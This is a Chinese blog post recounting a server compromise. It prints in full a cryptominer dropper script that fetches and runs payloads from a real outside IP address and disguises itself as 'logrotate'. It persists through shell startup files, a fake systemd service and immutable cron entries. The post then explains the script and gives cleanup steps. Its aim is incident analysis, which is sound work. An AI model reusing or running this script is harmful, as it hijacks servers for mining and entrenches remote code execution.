新站整站快速排名,天津 网站制作,中国建设部网站,建设网站服务费会计分录起因
阿里云安全中心报告了告警信息#xff0c;同时手机短信、邮件、电话也接收到了来自阿里云的风险通知#xff0c;感觉这方面阿里云还是不错。
排查及解决过程
这条wget指令究竟是怎么被运行的
我无法定位到攻击人员是通过什么样的方式让我的java程序执行了wget这条指…起因
阿里云安全中心报告了告警信息同时手机短信、邮件、电话也接收到了来自阿里云的风险通知感觉这方面阿里云还是不错。
排查及解决过程
这条wget指令究竟是怎么被运行的
我无法定位到攻击人员是通过什么样的方式让我的java程序执行了wget这条指令的已开始我以为跟我的程序中引用的jar远程代码执行漏洞有关我找了可能会有这个漏洞的两个程序log4j和jackson但是我的程序里面使用的均是修复了之后的版本所以暂时原因未知
病毒脚本解释
首先我下载了这个病毒脚本他的内容如下。 仅用于展示请勿传播病毒程序
#!/bin/sh
{ pkill -f xmrig || kill -9 $(pgrep -f xmrig); } /dev/null 21
ps -eo pid,%cpu,comm --sort-%cpu | awk NR1 !/awk|ps/ !($3 ~ /^(logrotate|sshd|java)$/) int($2) 60 { system(kill -9 $1) }
EXECsource (wget -q -O - http://185.196.8.123:8080/logservice.sh || curl -sL http://185.196.8.123:8080/logservice.sh)
trap rm -- $0 EXIT
if [ -z ${HOMEx} ]; thenexport HOME/tmp
fi
mkdir -p $HOME/.config /dev/null 21
[ ! -f $HOME/.config/logrotate ] { ARCH$(uname -m)URL[ $ARCH x86_64 ] URLhttp://185.196.8.123:8080/silicon64blueprints.png[ $ARCH aarch64 ] URLhttp://185.196.8.123:8080/siliconarmblueprints.png[ -z $URL ] URLhttp://185.196.8.123:8080/silicon64blueprints.png{ wget -q -O $HOME/.config/logrotate $URL || curl -sL -o $HOME/.config/logrotate $URL; } /dev/null 21chmod x $HOME/.config/logrotate /dev/null 21
}
pgrep -f config/logrotate /dev/null 21 || $HOME/.config/logrotate
add_to_startup() {if [ -r $1 ]; thenif ! grep -Fxq $EXEC /dev/null 21 $1; thenecho $EXEC /dev/null 21 $1fifi
}
case $(ps -p $$ -o comm) inbash) add_to_startup $HOME/.bashrcadd_to_startup $HOME/.bash_logout ;;zsh) add_to_startup $HOME/.zshrc ;;
esac
[ $(id -u) -eq 0 ] {RCLOCAL[ -e /etc/debian_version ] RCLOCAL/etc/rc.local[ -e /etc/centos-release -o -e /etc/redhat-release ] RCLOCAL/etc/rc.d/rc.local[ -n $RCLOCAL ] add_to_startup $RCLOCALcat /etc/systemd/system/logrotate.service EOL
[Unit]
DescriptionThe logrotate utility is designed to simplify the administration of log files on a system which generates a lot of log files
[Service]
ExecStart$HOME/.config/logrotate
Restartalways
Nice-20
StandardOutputnull
[Install]
WantedBymulti-user.target
EOLsudo systemctl daemon-reload 2/dev/nullsudo systemctl enable logrotate.service 2/dev/null[ -d /var/spool/cron ] [ -f /var/spool/cron/root ] echo daily $EXEC /var/spool/cron/root 2/dev/null[ -d /var/spool/cron/crontabs ] [ -f /var/spool/cron/crontabs/root ] echo daily $EXEC /var/spool/cron/crontabs/root 2/dev/null[ -f /etc/crontab ] echo daily $EXEC /etc/crontab 2/dev/null sudo chattr i /etc/crontab 2/dev/null[ -d /etc/cron.hourly ] echo $EXEC /etc/cron.hourly/logrotate 2/dev/null sudo chmod x /etc/cron.hourly/logrotate 2/dev/null sudo chattr i /etc/cron.hourly/logrotate 2/dev/null[ -d /etc/cron.daily ] echo $EXEC /etc/cron.daily/logrotate 2/dev/null sudo chmod x /etc/cron.daily/logrotate 2/dev/null sudo chattr i /etc/cron.daily/logrotate 2/dev/null[ -d /etc/cron.weekly ] echo $EXEC /etc/cron.weekly/logrotate 2/dev/null sudo chmod x /etc/cron.weekly/logrotate 2/dev/null sudo chattr i /etc/cron.weekly/logrotate 2/dev/null[ -d /etc/cron.monthly ] echo $EXEC /etc/cron.monthly/logrotate 2/dev/null sudo chmod x /etc/cron.monthly/logrotate 2/dev/null sudo chattr i /etc/cron.monthly/logrotate 2/dev/null[ -d /etc/cron.yearly ] echo $EXEC /etc/cron.yearly/logrotate 2/dev/null sudo chmod x /etc/cron.yearly/logrotate 2/dev/null sudo chattr i /etc/cron.yearly/logrotate 2/dev/null
}这段脚本的大概解释
终止之前的xmrig实例 尝试使用pkill或kill命令终止任何正在运行的名为“xmrig”的程序并将任何错误或输出重定向到/dev/null有效地将它们静音。
终止高CPU使用率的进程 通过结合使用ps、awk和kill来找出并终止未明确排除且消耗超过60% CPU的任何进程。
下载并执行远程脚本 设置一个变量EXEC用于获取并执行一个远程服务器(185.196.8.123:8080)上的脚本logservice.sh。
设置环境 确保设置了HOME环境变量如果未设置默认为/tmp并在HOME下准备一个.config目录。
根据架构下载并执行二进制文件 检查系统架构并从同一远程服务器下载特定文件假定为二进制文件将其作为logrotate保存在.config目录中然后使其可执行。
持久性机制 将远程脚本执行添加到Bash和Zsh shell的启动文件中以便每次启动shell会话时都会执行它。 还试图将此脚本插入各种系统级cron目录和systemd服务中以确保它持续运行或定期检查这有效地使其更难以移除并确保它定期运行。
Cron和Systemd操纵 设置了一个名为logrotate.service的systemd服务来运行下载的二进制文件并尝试将执行命令添加到不同频率的各种cron目录每小时、每天、每周、每月、每年中并使用chattr i命令使这些脚本变为不可更改。
也就是说这段脚本会采用定时任务和开机启动项等方式去远程下载一些文件并把他们伪造成正常的logrotate服务来运行
查杀
知道了脚本的运作机制就好解决了
1. 先把进程杀掉
删除掉对应的病毒目录使用ps -ef|grep logrotate可以看到这个病毒的目录去把对应的文件删掉使用top命令找到名称为logrotate的服务这个占用了大量CPU把服务结束掉kill -9 id
2. 清除定时任务
我们现在已经把当前服务杀了然后也删除了病毒文件现在我们要把病毒脚本添加定时任务给清除
清除用户定时任务 使用crontab -e会列出所有当前用户的定时任务把相关任务删掉保存
清除系统级别定时任务 直接删删不掉的需要先执行命令解锁
# 先用这个命令看看
lsattr 文件# 然后执行解锁命令,如果上面的ia就是-ai 如果是只用一个i就是-i
chattr -ai 文件然后就可以删除了
rm -rf /etc/cron.hourly/logrotate
rm -rf /etc/cron.daily/logrotate
rm -rf /etc/cron.weekly/logrotate
rm -rf /etc/cron.monthly/logrotate
rm -rf /etc/cron.yearly/logrotate3. 清除服务
# 先使用这个命令查看是否有服务
systemctl list-unit-files |grep logrotate.service
# 然后清除服务
systemctl disable logrotate.service4. 清除开机启动项
可以看到脚本中是会把命令写到如下文件中 编辑这些文件把异常信息删掉
到此所有的清楚工作就结束了修改下密码重启服务器应该就可以了最后就是要搞清楚那个wget命令是如何被执行的